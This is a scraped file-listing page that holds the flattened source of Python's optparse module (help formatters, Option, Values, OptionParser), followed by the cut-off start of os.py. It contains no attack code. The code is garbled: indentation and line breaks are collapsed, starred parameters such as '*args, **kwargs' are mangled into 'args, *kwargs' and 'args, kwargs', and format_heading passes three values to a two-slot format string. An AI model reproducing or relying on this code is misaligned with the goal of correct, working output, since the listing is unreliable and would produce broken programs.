(self.help_position, "", line) for line in help_lines[1:]]) elif opts[-1] != "\n": result.append("\n") return "".join(result) def store_option_strings(self, parser): self.indent() max_len = 0 for opt in parser.option_list: strings = self.format_option_strings(opt) self.option_strings[opt] = strings max_len = max(max_len, len(strings) + self.current_indent) self.indent() for group in parser.option_groups: for opt in group.option_list: strings = self.format_option_strings(opt) self.option_strings[opt] = strings max_len = max(max_len, len(strings) + self.current_indent) self.dedent() self.dedent() self.help_position = min(max_len + 2, self.max_help_position) self.help_width = max(self.width - self.help_position, 11) def format_option_strings(self, option): """Return a comma-separated list of option strings & metavariables.""" if option.takes_value(): metavar = option.metavar or option.dest.upper() short_opts = [self._short_opt_fmt % (sopt, metavar) for sopt in option._short_opts] long_opts = [self._long_opt_fmt % (lopt, metavar) for lopt in option._long_opts] else: short_opts = option._short_opts long_opts = option._long_opts if self.short_first: opts = short_opts + long_opts else: opts = long_opts + short_opts return ", ".join(opts) class IndentedHelpFormatter (HelpFormatter): """Format help with indented section bodies. """ def __init__(self, indent_increment=2, max_help_position=24, width=None, short_first=1): HelpFormatter.__init__( self, indent_increment, max_help_position, width, short_first) def format_usage(self, usage): return _("Usage: %s\n") % usage def format_heading(self, heading): return "%s%s:\n" % (self.current_indent, "", heading) class TitledHelpFormatter (HelpFormatter): """Format help with underlined section headers. """ def __init__(self, indent_increment=0, max_help_position=24, width=None, short_first=0): HelpFormatter.__init__ ( self, indent_increment, max_help_position, width, short_first) def format_usage(self, usage): return "%s %s\n" % (self.format_heading(_("Usage")), usage) def format_heading(self, heading): return "%s\n%s\n" % (heading, "=-"[self.level] * len(heading)) def _parse_num(val, type): if val[:2].lower() == "0x": # hexadecimal radix = 16 elif val[:2].lower() == "0b": # binary radix = 2 val = val[2:] or "0" # have to remove "0b" prefix elif val[:1] == "0": # octal radix = 8 else: # decimal radix = 10 return type(val, radix) def _parse_int(val): return _parse_num(val, int) _builtin_cvt = { "int" : (_parse_int, _("integer")), "long" : (_parse_int, _("integer")), "float" : (float, _("floating-point")), "complex" : (complex, _("complex")) } def check_builtin(option, opt, value): (cvt, what) = _builtin_cvt[option.type] try: return cvt(value) except ValueError: raise OptionValueError( _("option %s: invalid %s value: %r") % (opt, what, value)) def check_choice(option, opt, value): if value in option.choices: return value else: choices = ", ".join(map(repr, option.choices)) raise OptionValueError( _("option %s: invalid choice: %r (choose from %s)") % (opt, value, choices)) # Not supplying a default is different from a default of None, # so we need an explicit "not supplied" value. NO_DEFAULT = ("NO", "DEFAULT") class Option: """ Instance attributes: _short_opts : [string] _long_opts : [string] action : string type : string dest : string default : any nargs : int const : any choices : [string] callback : function callback_args : (any) callback_kwargs : { string : any } help : string metavar : string """ # The list of instance attributes that may be set through # keyword args to the constructor. ATTRS = ['action', 'type', 'dest', 'default', 'nargs', 'const', 'choices', 'callback', 'callback_args', 'callback_kwargs', 'help', 'metavar'] # The set of actions allowed by option parsers. Explicitly listed # here so the constructor can validate its arguments. ACTIONS = ("store", "store_const", "store_true", "store_false", "append", "append_const", "count", "callback", "help", "version") # The set of actions that involve storing a value somewhere; # also listed just for constructor argument validation. (If # the action is one of these, there must be a destination.) STORE_ACTIONS = ("store", "store_const", "store_true", "store_false", "append", "append_const", "count") # The set of actions for which it makes sense to supply a value # type, ie. which may consume an argument from the command line. TYPED_ACTIONS = ("store", "append", "callback") # The set of actions which require* a value type, ie. that # always consume an argument from the command line. ALWAYS_TYPED_ACTIONS = ("store", "append") # The set of actions which take a 'const' attribute. CONST_ACTIONS = ("store_const", "append_const") # The set of known types for option parsers. Again, listed here for # constructor argument validation. TYPES = ("string", "int", "long", "float", "complex", "choice") # Dictionary of argument checking functions, which convert and # validate option arguments according to the option type. # # Signature of checking functions is: # check(option : Option, opt : string, value : string) -> any # where # option is the Option instance calling the checker # opt is the actual option seen on the command-line # (eg. "-a", "--file") # value is the option argument seen on the command-line # # The return value should be in the appropriate Python type # for option.type -- eg. an integer if option.type == "int". # # If no checker is defined for a type, arguments will be # unchecked and remain strings. TYPE_CHECKER = { "int" : check_builtin, "long" : check_builtin, "float" : check_builtin, "complex": check_builtin, "choice" : check_choice, } # CHECK_METHODS is a list of unbound method objects; they are called # by the constructor, in order, after all attributes are # initialized. The list is created and filled in later, after all # the methods are actually defined. (I just put it here because I # like to define and document all class attributes in the same # place.) Subclasses that add another _check_() method should # define their own CHECK_METHODS list that adds their check method # to those from this class. CHECK_METHODS = None # -- Constructor/initialization methods ---------------------------- def __init__(self, opts, *attrs): # Set _short_opts, _long_opts attrs from 'opts' tuple. # Have to be set now, in case no option strings are supplied. self._short_opts = [] self._long_opts = [] opts = self._check_opt_strings(opts) self._set_opt_strings(opts) # Set all other attrs (action, type, etc.) from 'attrs' dict self._set_attrs(attrs) # Check all the attributes we just set. There are lots of # complicated interdependencies, but luckily they can be farmed # out to the _check_() methods listed in CHECK_METHODS -- which # could be handy for subclasses! The one thing these all share # is that they raise OptionError if they discover a problem. for checker in self.CHECK_METHODS: checker(self) def _check_opt_strings(self, opts): # Filter out None because early versions of Optik had exactly # one short option and one long option, either of which # could be None. opts = [opt for opt in opts if opt] if not opts: raise TypeError("at least one option string must be supplied") return opts def _set_opt_strings(self, opts): for opt in opts: if len(opt) < 2: raise OptionError( "invalid option string %r: " "must be at least two characters long" % opt, self) elif len(opt) == 2: if not (opt[0] == "-" and opt[1] != "-"): raise OptionError( "invalid short option string %r: " "must be of the form -x, (x any non-dash char)" % opt, self) self._short_opts.append(opt) else: if not (opt[0:2] == "--" and opt[2] != "-"): raise OptionError( "invalid long option string %r: " "must start with --, followed by non-dash" % opt, self) self._long_opts.append(opt) def _set_attrs(self, attrs): for attr in self.ATTRS: if attr in attrs: setattr(self, attr, attrs[attr]) del attrs[attr] else: if attr == 'default': setattr(self, attr, NO_DEFAULT) else: setattr(self, attr, None) if attrs: attrs = sorted(attrs.keys()) raise OptionError( "invalid keyword arguments: %s" % ", ".join(attrs), self) # -- Constructor validation methods -------------------------------- def _check_action(self): if self.action is None: self.action = "store" elif self.action not in self.ACTIONS: raise OptionError("invalid action: %r" % self.action, self) def _check_type(self): if self.type is None: if self.action in self.ALWAYS_TYPED_ACTIONS: if self.choices is not None: # The "choices" attribute implies "choice" type. self.type = "choice" else: # No type given? "string" is the most sensible default. self.type = "string" else: # Allow type objects or builtin type conversion functions # (int, str, etc.) as an alternative to their names. if isinstance(self.type, type): self.type = self.type.__name__ if self.type == "str": self.type = "string" if self.type not in self.TYPES: raise OptionError("invalid option type: %r" % self.type, self) if self.action not in self.TYPED_ACTIONS: raise OptionError( "must not supply a type for action %r" % self.action, self) def _check_choice(self): if self.type == "choice": if self.choices is None: raise OptionError( "must supply a list of choices for type 'choice'", self) elif not isinstance(self.choices, (tuple, list)): raise OptionError( "choices must be a list of strings ('%s' supplied)" % str(type(self.choices)).split("'")[1], self) elif self.choices is not None: raise OptionError( "must not supply choices for type %r" % self.type, self) def _check_dest(self): # No destination given, and we need one for this action. The # self.type check is for callbacks that take a value. takes_value = (self.action in self.STORE_ACTIONS or self.type is not None) if self.dest is None and takes_value: # Glean a destination from the first long option string, # or from the first short option string if no long options. if self._long_opts: # eg. "--foo-bar" -> "foo_bar" self.dest = self._long_opts[0][2:].replace('-', '_') else: self.dest = self._short_opts[0][1] def _check_const(self): if self.action not in self.CONST_ACTIONS and self.const is not None: raise OptionError( "'const' must not be supplied for action %r" % self.action, self) def _check_nargs(self): if self.action in self.TYPED_ACTIONS: if self.nargs is None: self.nargs = 1 elif self.nargs is not None: raise OptionError( "'nargs' must not be supplied for action %r" % self.action, self) def _check_callback(self): if self.action == "callback": if not callable(self.callback): raise OptionError( "callback not callable: %r" % self.callback, self) if (self.callback_args is not None and not isinstance(self.callback_args, tuple)): raise OptionError( "callback_args, if supplied, must be a tuple: not %r" % self.callback_args, self) if (self.callback_kwargs is not None and not isinstance(self.callback_kwargs, dict)): raise OptionError( "callback_kwargs, if supplied, must be a dict: not %r" % self.callback_kwargs, self) else: if self.callback is not None: raise OptionError( "callback supplied (%r) for non-callback option" % self.callback, self) if self.callback_args is not None: raise OptionError( "callback_args supplied for non-callback option", self) if self.callback_kwargs is not None: raise OptionError( "callback_kwargs supplied for non-callback option", self) CHECK_METHODS = [_check_action, _check_type, _check_choice, _check_dest, _check_const, _check_nargs, _check_callback] # -- Miscellaneous methods ----------------------------------------- def __str__(self): return "/".join(self._short_opts + self._long_opts) __repr__ = _repr def takes_value(self): return self.type is not None def get_opt_string(self): if self._long_opts: return self._long_opts[0] else: return self._short_opts[0] # -- Processing methods -------------------------------------------- def check_value(self, opt, value): checker = self.TYPE_CHECKER.get(self.type) if checker is None: return value else: return checker(self, opt, value) def convert_value(self, opt, value): if value is not None: if self.nargs == 1: return self.check_value(opt, value) else: return tuple([self.check_value(opt, v) for v in value]) def process(self, opt, value, values, parser): # First, convert the value(s) to the right type. Howl if any # value(s) are bogus. value = self.convert_value(opt, value) # And then take whatever action is expected of us. # This is a separate method to make life easier for # subclasses to add new actions. return self.take_action( self.action, self.dest, opt, value, values, parser) def take_action(self, action, dest, opt, value, values, parser): if action == "store": setattr(values, dest, value) elif action == "store_const": setattr(values, dest, self.const) elif action == "store_true": setattr(values, dest, True) elif action == "store_false": setattr(values, dest, False) elif action == "append": values.ensure_value(dest, []).append(value) elif action == "append_const": values.ensure_value(dest, []).append(self.const) elif action == "count": setattr(values, dest, values.ensure_value(dest, 0) + 1) elif action == "callback": args = self.callback_args or () kwargs = self.callback_kwargs or {} self.callback(self, opt, value, parser, args, kwargs) elif action == "help": parser.print_help() parser.exit() elif action == "version": parser.print_version() parser.exit() else: raise ValueError("unknown action %r" % self.action) return 1 # class Option SUPPRESS_HELP = "SUPPRESS"+"HELP" SUPPRESS_USAGE = "SUPPRESS"+"USAGE" class Values: def __init__(self, defaults=None): if defaults: for (attr, val) in defaults.items(): setattr(self, attr, val) def __str__(self): return str(self.__dict__) __repr__ = _repr def __eq__(self, other): if isinstance(other, Values): return self.__dict__ == other.__dict__ elif isinstance(other, dict): return self.__dict__ == other else: return NotImplemented def _update_careful(self, dict): """ Update the option values from an arbitrary dictionary, but only use keys from dict that already have a corresponding attribute in self. Any keys in dict without a corresponding attribute are silently ignored. """ for attr in dir(self): if attr in dict: dval = dict[attr] if dval is not None: setattr(self, attr, dval) def _update_loose(self, dict): """ Update the option values from an arbitrary dictionary, using all keys from the dictionary regardless of whether they have a corresponding attribute in self or not. """ self.__dict__.update(dict) def _update(self, dict, mode): if mode == "careful": self._update_careful(dict) elif mode == "loose": self._update_loose(dict) else: raise ValueError("invalid update mode: %r" % mode) def read_module(self, modname, mode="careful"): __import__(modname) mod = sys.modules[modname] self._update(vars(mod), mode) def read_file(self, filename, mode="careful"): vars = {} exec(open(filename).read(), vars) self._update(vars, mode) def ensure_value(self, attr, value): if not hasattr(self, attr) or getattr(self, attr) is None: setattr(self, attr, value) return getattr(self, attr) class OptionContainer: """ Abstract base class. Class attributes: standard_option_list : [Option] list of standard options that will be accepted by all instances of this parser class (intended to be overridden by subclasses). Instance attributes: option_list : [Option] the list of Option objects contained by this OptionContainer _short_opt : { string : Option } dictionary mapping short option strings, eg. "-f" or "-X", to the Option instances that implement them. If an Option has multiple short option strings, it will appear in this dictionary multiple times. [1] _long_opt : { string : Option } dictionary mapping long option strings, eg. "--file" or "--exclude", to the Option instances that implement them. Again, a given Option can occur multiple times in this dictionary. [1] defaults : { string : any } dictionary mapping option destination names to default values for each destination [1] [1] These mappings are common to (shared by) all components of the controlling OptionParser, where they are initially created. """ def __init__(self, option_class, conflict_handler, description): # Initialize the option list and related data structures. # This method must be provided by subclasses, and it must # initialize at least the following instance attributes: # option_list, _short_opt, _long_opt, defaults. self._create_option_list() self.option_class = option_class self.set_conflict_handler(conflict_handler) self.set_description(description) def _create_option_mappings(self): # For use by OptionParser constructor -- create the master # option mappings used by this OptionParser and all # OptionGroups that it owns. self._short_opt = {} # single letter -> Option instance self._long_opt = {} # long option -> Option instance self.defaults = {} # maps option dest -> default value def _share_option_mappings(self, parser): # For use by OptionGroup constructor -- use shared option # mappings from the OptionParser that owns this OptionGroup. self._short_opt = parser._short_opt self._long_opt = parser._long_opt self.defaults = parser.defaults def set_conflict_handler(self, handler): if handler not in ("error", "resolve"): raise ValueError("invalid conflict_resolution value %r" % handler) self.conflict_handler = handler def set_description(self, description): self.description = description def get_description(self): return self.description def destroy(self): """see OptionParser.destroy().""" del self._short_opt del self._long_opt del self.defaults # -- Option-adding methods ----------------------------------------- def _check_conflict(self, option): conflict_opts = [] for opt in option._short_opts: if opt in self._short_opt: conflict_opts.append((opt, self._short_opt[opt])) for opt in option._long_opts: if opt in self._long_opt: conflict_opts.append((opt, self._long_opt[opt])) if conflict_opts: handler = self.conflict_handler if handler == "error": raise OptionConflictError( "conflicting option string(s): %s" % ", ".join([co[0] for co in conflict_opts]), option) elif handler == "resolve": for (opt, c_option) in conflict_opts: if opt.startswith("--"): c_option._long_opts.remove(opt) del self._long_opt[opt] else: c_option._short_opts.remove(opt) del self._short_opt[opt] if not (c_option._short_opts or c_option._long_opts): c_option.container.option_list.remove(c_option) def add_option(self, args, *kwargs): """add_option(Option) add_option(opt_str, ..., kwarg=val, ...) """ if isinstance(args[0], str): option = self.option_class(args, kwargs) elif len(args) == 1 and not kwargs: option = args[0] if not isinstance(option, Option): raise TypeError("not an Option instance: %r" % option) else: raise TypeError("invalid arguments") self._check_conflict(option) self.option_list.append(option) option.container = self for opt in option._short_opts: self._short_opt[opt] = option for opt in option._long_opts: self._long_opt[opt] = option if option.dest is not None: # option has a dest, we need a default if option.default is not NO_DEFAULT: self.defaults[option.dest] = option.default elif option.dest not in self.defaults: self.defaults[option.dest] = None return option def add_options(self, option_list): for option in option_list: self.add_option(option) # -- Option query/removal methods ---------------------------------- def get_option(self, opt_str): return (self._short_opt.get(opt_str) or self._long_opt.get(opt_str)) def has_option(self, opt_str): return (opt_str in self._short_opt or opt_str in self._long_opt) def remove_option(self, opt_str): option = self._short_opt.get(opt_str) if option is None: option = self._long_opt.get(opt_str) if option is None: raise ValueError("no such option %r" % opt_str) for opt in option._short_opts: del self._short_opt[opt] for opt in option._long_opts: del self._long_opt[opt] option.container.option_list.remove(option) # -- Help-formatting methods --------------------------------------- def format_option_help(self, formatter): if not self.option_list: return "" result = [] for option in self.option_list: if not option.help is SUPPRESS_HELP: result.append(formatter.format_option(option)) return "".join(result) def format_description(self, formatter): return formatter.format_description(self.get_description()) def format_help(self, formatter): result = [] if self.description: result.append(self.format_description(formatter)) if self.option_list: result.append(self.format_option_help(formatter)) return "\n".join(result) class OptionGroup (OptionContainer): def __init__(self, parser, title, description=None): self.parser = parser OptionContainer.__init__( self, parser.option_class, parser.conflict_handler, description) self.title = title def _create_option_list(self): self.option_list = [] self._share_option_mappings(self.parser) def set_title(self, title): self.title = title def destroy(self): """see OptionParser.destroy().""" OptionContainer.destroy(self) del self.option_list # -- Help-formatting methods --------------------------------------- def format_help(self, formatter): result = formatter.format_heading(self.title) formatter.indent() result += OptionContainer.format_help(self, formatter) formatter.dedent() return result class OptionParser (OptionContainer): """ Class attributes: standard_option_list : [Option] list of standard options that will be accepted by all instances of this parser class (intended to be overridden by subclasses). Instance attributes: usage : string a usage string for your program. Before it is displayed to the user, "%prog" will be expanded to the name of your program (self.prog or os.path.basename(sys.argv[0])). prog : string the name of the current program (to override os.path.basename(sys.argv[0])). description : string A paragraph of text giving a brief overview of your program. optparse reformats this paragraph to fit the current terminal width and prints it when the user requests help (after usage, but before the list of options). epilog : string paragraph of help text to print after option help option_groups : [OptionGroup] list of option groups in this parser (option groups are irrelevant for parsing the command-line, but very useful for generating help) allow_interspersed_args : bool = true if true, positional arguments may be interspersed with options. Assuming -a and -b each take a single argument, the command-line -ablah foo bar -bboo baz will be interpreted the same as -ablah -bboo -- foo bar baz If this flag were false, that command line would be interpreted as -ablah -- foo bar -bboo baz -- ie. we stop processing options as soon as we see the first non-option argument. (This is the tradition followed by Python's getopt module, Perl's Getopt::Std, and other argument- parsing libraries, but it is generally annoying to users.) process_default_values : bool = true if true, option default values are processed similarly to option values from the command line: that is, they are passed to the type-checking function for the option's type (as long as the default value is a string). (This really only matters if you have defined custom types; see SF bug #955889.) Set it to false to restore the behaviour of Optik 1.4.1 and earlier. rargs : [string] the argument list currently being parsed. Only set when parse_args() is active, and continually trimmed down as we consume arguments. Mainly there for the benefit of callback options. largs : [string] the list of leftover arguments that we have skipped while parsing options. If allow_interspersed_args is false, this list is always empty. values : Values the set of option values currently being accumulated. Only set when parse_args() is active. Also mainly for callbacks. Because of the 'rargs', 'largs', and 'values' attributes, OptionParser is not thread-safe. If, for some perverse reason, you need to parse command-line arguments simultaneously in different threads, use different OptionParser instances. """ standard_option_list = [] def __init__(self, usage=None, option_list=None, option_class=Option, version=None, conflict_handler="error", description=None, formatter=None, add_help_option=True, prog=None, epilog=None): OptionContainer.__init__( self, option_class, conflict_handler, description) self.set_usage(usage) self.prog = prog self.version = version self.allow_interspersed_args = True self.process_default_values = True if formatter is None: formatter = IndentedHelpFormatter() self.formatter = formatter self.formatter.set_parser(self) self.epilog = epilog # Populate the option list; initial sources are the # standard_option_list class attribute, the 'option_list' # argument, and (if applicable) the _add_version_option() and # _add_help_option() methods. self._populate_option_list(option_list, add_help=add_help_option) self._init_parsing_state() def destroy(self): """ Declare that you are done with this OptionParser. This cleans up reference cycles so the OptionParser (and all objects referenced by it) can be garbage-collected promptly. After calling destroy(), the OptionParser is unusable. """ OptionContainer.destroy(self) for group in self.option_groups: group.destroy() del self.option_list del self.option_groups del self.formatter # -- Private methods ----------------------------------------------- # (used by our or OptionContainer's constructor) def _create_option_list(self): self.option_list = [] self.option_groups = [] self._create_option_mappings() def _add_help_option(self): self.add_option("-h", "--help", action="help", help=_("show this help message and exit")) def _add_version_option(self): self.add_option("--version", action="version", help=_("show program's version number and exit")) def _populate_option_list(self, option_list, add_help=True): if self.standard_option_list: self.add_options(self.standard_option_list) if option_list: self.add_options(option_list) if self.version: self._add_version_option() if add_help: self._add_help_option() def _init_parsing_state(self): # These are set in parse_args() for the convenience of callbacks. self.rargs = None self.largs = None self.values = None # -- Simple modifier methods --------------------------------------- def set_usage(self, usage): if usage is None: self.usage = _("%prog [options]") elif usage is SUPPRESS_USAGE: self.usage = None # For backwards compatibility with Optik 1.3 and earlier. elif usage.lower().startswith("usage: "): self.usage = usage[7:] else: self.usage = usage def enable_interspersed_args(self): """Set parsing to not stop on the first non-option, allowing interspersing switches with command arguments. This is the default behavior. See also disable_interspersed_args() and the class documentation description of the attribute allow_interspersed_args.""" self.allow_interspersed_args = True def disable_interspersed_args(self): """Set parsing to stop on the first non-option. Use this if you have a command processor which runs another command that has options of its own and you want to make sure these options don't get confused. """ self.allow_interspersed_args = False def set_process_default_values(self, process): self.process_default_values = process def set_default(self, dest, value): self.defaults[dest] = value def set_defaults(self, kwargs): self.defaults.update(kwargs) def _get_all_options(self): options = self.option_list[:] for group in self.option_groups: options.extend(group.option_list) return options def get_default_values(self): if not self.process_default_values: # Old, pre-Optik 1.5 behaviour. return Values(self.defaults) defaults = self.defaults.copy() for option in self._get_all_options(): default = defaults.get(option.dest) if isinstance(default, str): opt_str = option.get_opt_string() defaults[option.dest] = option.check_value(opt_str, default) return Values(defaults) # -- OptionGroup methods ------------------------------------------- def add_option_group(self, args, kwargs): # XXX lots of overlap with OptionContainer.add_option() if isinstance(args[0], str): group = OptionGroup(self, args, *kwargs) elif len(args) == 1 and not kwargs: group = args[0] if not isinstance(group, OptionGroup): raise TypeError("not an OptionGroup instance: %r" % group) if group.parser is not self: raise ValueError("invalid OptionGroup (wrong parser)") else: raise TypeError("invalid arguments") self.option_groups.append(group) return group def get_option_group(self, opt_str): option = (self._short_opt.get(opt_str) or self._long_opt.get(opt_str)) if option and option.container is not self: return option.container return None # -- Option-parsing methods ---------------------------------------- def _get_args(self, args): if args is None: return sys.argv[1:] else: return args[:] # don't modify caller's list def parse_args(self, args=None, values=None): """ parse_args(args : [string] = sys.argv[1:], values : Values = None) -> (values : Values, args : [string]) Parse the command-line options found in 'args' (default: sys.argv[1:]). Any errors result in a call to 'error()', which by default prints the usage message to stderr and calls sys.exit() with an error message. On success returns a pair (values, args) where 'values' is a Values instance (with all your option values) and 'args' is the list of arguments left over after parsing options. """ rargs = self._get_args(args) if values is None: values = self.get_default_values() # Store the halves of the argument list as attributes for the # convenience of callbacks: # rargs # the rest of the command-line (the "r" stands for # "remaining" or "right-hand") # largs # the leftover arguments -- ie. what's left after removing # options and their arguments (the "l" stands for "leftover" # or "left-hand") self.rargs = rargs self.largs = largs = [] self.values = values try: stop = self._process_args(largs, rargs, values) except (BadOptionError, OptionValueError) as err: self.error(str(err)) args = largs + rargs return self.check_values(values, args) def check_values(self, values, args): """ check_values(values : Values, args : [string]) -> (values : Values, args : [string]) Check that the supplied option values and leftover arguments are valid. Returns the option values and leftover arguments (possibly adjusted, possibly completely new -- whatever you like). Default implementation just returns the passed-in values; subclasses may override as desired. """ return (values, args) def _process_args(self, largs, rargs, values): """_process_args(largs : [string], rargs : [string], values : Values) Process command-line arguments and populate 'values', consuming options and arguments from 'rargs'. If 'allow_interspersed_args' is false, stop at the first non-option argument. If true, accumulate any interspersed non-option arguments in 'largs'. """ while rargs: arg = rargs[0] # We handle bare "--" explicitly, and bare "-" is handled by the # standard arg handler since the short arg case ensures that the # len of the opt string is greater than 1. if arg == "--": del rargs[0] return elif arg[0:2] == "--": # process a single long option (possibly with value(s)) self._process_long_opt(rargs, values) elif arg[:1] == "-" and len(arg) > 1: # process a cluster of short options (possibly with # value(s) for the last one only) self._process_short_opts(rargs, values) elif self.allow_interspersed_args: largs.append(arg) del rargs[0] else: return # stop now, leave this arg in rargs # Say this is the original argument list: # [arg0, arg1, ..., arg(i-1), arg(i), arg(i+1), ..., arg(N-1)] # ^ # (we are about to process arg(i)). # # Then rargs is [arg(i), ..., arg(N-1)] and largs is a subset* of # [arg0, ..., arg(i-1)] (any options and their arguments will have # been removed from largs). # # The while loop will usually consume 1 or more arguments per pass. # If it consumes 1 (eg. arg is an option that takes no arguments), # then after _process_arg() is done the situation is: # # largs = subset of [arg0, ..., arg(i)] # rargs = [arg(i+1), ..., arg(N-1)] # # If allow_interspersed_args is false, largs will always be # empty -- still a subset of [arg0, ..., arg(i-1)], but # not a very interesting subset! def _match_long_opt(self, opt): """_match_long_opt(opt : string) -> string Determine which long option string 'opt' matches, ie. which one it is an unambiguous abbreviation for. Raises BadOptionError if 'opt' doesn't unambiguously match any long option string. """ return _match_abbrev(opt, self._long_opt) def _process_long_opt(self, rargs, values): arg = rargs.pop(0) # Value explicitly attached to arg? Pretend it's the next # argument. if "=" in arg: (opt, next_arg) = arg.split("=", 1) rargs.insert(0, next_arg) had_explicit_value = True else: opt = arg had_explicit_value = False opt = self._match_long_opt(opt) option = self._long_opt[opt] if option.takes_value(): nargs = option.nargs if len(rargs) < nargs: self.error(ngettext( "%(option)s option requires %(number)d argument", "%(option)s option requires %(number)d arguments", nargs) % {"option": opt, "number": nargs}) elif nargs == 1: value = rargs.pop(0) else: value = tuple(rargs[0:nargs]) del rargs[0:nargs] elif had_explicit_value: self.error(_("%s option does not take a value") % opt) else: value = None option.process(opt, value, values, self) def _process_short_opts(self, rargs, values): arg = rargs.pop(0) stop = False i = 1 for ch in arg[1:]: opt = "-" + ch option = self._short_opt.get(opt) i += 1 # we have consumed a character if not option: raise BadOptionError(opt) if option.takes_value(): # Any characters left in arg? Pretend they're the # next arg, and stop consuming characters of arg. if i < len(arg): rargs.insert(0, arg[i:]) stop = True nargs = option.nargs if len(rargs) < nargs: self.error(ngettext( "%(option)s option requires %(number)d argument", "%(option)s option requires %(number)d arguments", nargs) % {"option": opt, "number": nargs}) elif nargs == 1: value = rargs.pop(0) else: value = tuple(rargs[0:nargs]) del rargs[0:nargs] else: # option doesn't take a value value = None option.process(opt, value, values, self) if stop: break # -- Feedback methods ---------------------------------------------- def get_prog_name(self): if self.prog is None: return os.path.basename(sys.argv[0]) else: return self.prog def expand_prog_name(self, s): return s.replace("%prog", self.get_prog_name()) def get_description(self): return self.expand_prog_name(self.description) def exit(self, status=0, msg=None): if msg: sys.stderr.write(msg) sys.exit(status) def error(self, msg): """error(msg : string) Print a usage message incorporating 'msg' to stderr and exit. If you override this in a subclass, it should not return -- it should either exit or raise an exception. """ self.print_usage(sys.stderr) self.exit(2, "%s: error: %s\n" % (self.get_prog_name(), msg)) def get_usage(self): if self.usage: return self.formatter.format_usage( self.expand_prog_name(self.usage)) else: return "" def print_usage(self, file=None): """print_usage(file : file = stdout) Print the usage message for the current program (self.usage) to 'file' (default stdout). Any occurrence of the string "%prog" in self.usage is replaced with the name of the current program (basename of sys.argv[0]). Does nothing if self.usage is empty or not defined. """ if self.usage: print(self.get_usage(), file=file) def get_version(self): if self.version: return self.expand_prog_name(self.version) else: return "" def print_version(self, file=None): """print_version(file : file = stdout) Print the version message for this program (self.version) to 'file' (default stdout). As with print_usage(), any occurrence of "%prog" in self.version is replaced by the current program's name. Does nothing if self.version is empty or undefined. """ if self.version: print(self.get_version(), file=file) def format_option_help(self, formatter=None): if formatter is None: formatter = self.formatter formatter.store_option_strings(self) result = [] result.append(formatter.format_heading(_("Options"))) formatter.indent() if self.option_list: result.append(OptionContainer.format_option_help(self, formatter)) result.append("\n") for group in self.option_groups: result.append(group.format_help(formatter)) result.append("\n") formatter.dedent() # Drop the last "\n", or the header if no options or option groups: return "".join(result[:-1]) def format_epilog(self, formatter): return formatter.format_epilog(self.epilog) def format_help(self, formatter=None): if formatter is None: formatter = self.formatter result = [] if self.usage: result.append(self.get_usage() + "\n") if self.description: result.append(self.format_description(formatter) + "\n") result.append(self.format_option_help(formatter)) result.append(self.format_epilog(formatter)) return "".join(result) def print_help(self, file=None): """print_help(file : file = stdout) Print an extended help message, listing all options and any help text provided with them, to 'file' (default stdout). """ if file is None: file = sys.stdout file.write(self.format_help()) # class OptionParser def _match_abbrev(s, wordmap): """_match_abbrev(s : string, wordmap : {string : Option}) -> string Return the string key in 'wordmap' for which 's' is an unambiguous abbreviation. If 's' is found to be ambiguous or doesn't match any of 'words', raise BadOptionError. """ # Is there an exact match? if s in wordmap: return s else: # Isolate all words with s as a prefix. possibilities = [word for word in wordmap.keys() if word.startswith(s)] # No exact match, so there had better be just one possibility. if len(possibilities) == 1: return possibilities[0] elif not possibilities: raise BadOptionError(s) else: # More than one possible completion: ambiguous prefix. possibilities.sort() raise AmbiguousOptionError(s, possibilities) # Some day, there might be many Option classes. As of Optik 1.3, the # preferred way to instantiate Options is indirectly, via make_option(), # which will become a factory function when there are many Option # classes. make_option = Option	58.96 KB	2024-04-17 17:55
📄 os.py r"""OS routines for NT or Posix depending on what system we're on. This exports: - all functions from posix or nt, e.g. unlink, stat, etc. - os.path is either posixpath or ntpath - os.name is either 'posix' or 'nt' - os.curdir is a string representing the current directory (always '.') - os.pardir is a string representing the parent directory (always '..') - os.sep is the (or a most common) pathname separator ('/' or '\\') - os.extsep is the extension separator (always '.') - os.altsep is the alternate pathname separator (None or '/') - os.pathsep is the component separator used in $PATH etc - os.linesep is the line separator in text files ('\r' or '\n' or '\r\n') - os.defpath is the default search path for executables - os.devnull is the file path of the null device ('/dev/null', etc.) Programs that import and use 'os' stand a better chance of being portable between different platforms. Of course, they must then only use functions that are defined by all platforms (e.g., unlink and opendir), and leave all pathname manipulation to os.path (e.g., split and join). """ #' import abc import sys import stat as st from _collections_abc import _check_methods _names = sys.builtin_module_names # Note: more names are added to __all__ later. __all__ = ["altsep", "curdir", "pardir", "sep", "pathsep", "linesep", "defpath", "name", "path", "devnull", "SEEK_SET", "SEEK_CUR", "SEEK_END", "fsencode", "fsdecode", "get_exec_path", "fdopen", "popen", "extsep"] def _exists(name): return name in globals() def _get_exports_list(module): try: return list(module.__all__) except AttributeError: return [n for n in dir(module) if n[0] != '_'] # Any new dependencies of the os module and/or changes in path separator # requires updating importlib as well. if 'posix' in _names: name = 'posix' linesep = '\n' from posix import * try: from posix import _exit __all__.append('_exit') except ImportError: pass import posixpath as path try: from posix import _have_functions except ImportError: pass import posix __all__.extend(_get_exports_list(posix)) del posix elif 'nt' in _names: name = 'nt' linesep = '\r\n' from nt import * try: from nt import _exit __all__.append('_exit') except ImportError: pass import ntpath as path import nt __all__.extend(_get_exports_list(nt)) del nt try: from nt import _have_functions except ImportError: pass else: raise ImportError('no os specific module found') sys.modules['os.path'] = path from os.path import (curdir, pardir, sep, pathsep, defpath, extsep, altsep, devnull) del _names if _exists("_have_functions"): _globals = globals() def _add(str, fn): if (fn in _globals) and (str in _have_functions): _set.add(_globals[fn]) _set = set() _add("HAVE_FACCESSAT", "access") _add("HAVE_FCHMODAT", "chmod") _add("HAVE_FCHOWNAT", "chown") _add("HAVE_FSTATAT", "stat") _add("HAVE_FUTIMESAT", "utime") _add("HAVE_LINKAT", "link") _add("HAVE_MKDIRAT", "mkdir") _add("HAVE_MKFIFOAT", "mkfifo") _add("HAVE_MKNODAT", "mknod") _add("HAVE_OPENAT", "open") _add("HAVE_READLINKAT", "readlink") _add("HAVE_RENAMEAT", "rename") _add("HAVE_SYMLINKAT", "symlink") _add("HAVE_UNLINKAT", "unlink") _add("HAVE_UNLINKAT", "rmdir") _add("HAVE_UTIMENSAT", "utime") supports_dir_fd = _set _set = set() _add("HAVE_FACCESSAT", "access") supports_effective_ids = _set _set = set() _add("HAVE_FCHDIR", "chdir") _add("HAVE_FCHMOD", "chmod") _add("HAVE_FCHOWN", "chown") _add("HAVE_FDOPENDIR", "listdir") _add("HAVE_FDOPENDIR", "scandir") _add("HAVE_FEXECVE", "execve") _set.add(stat) # fstat always works 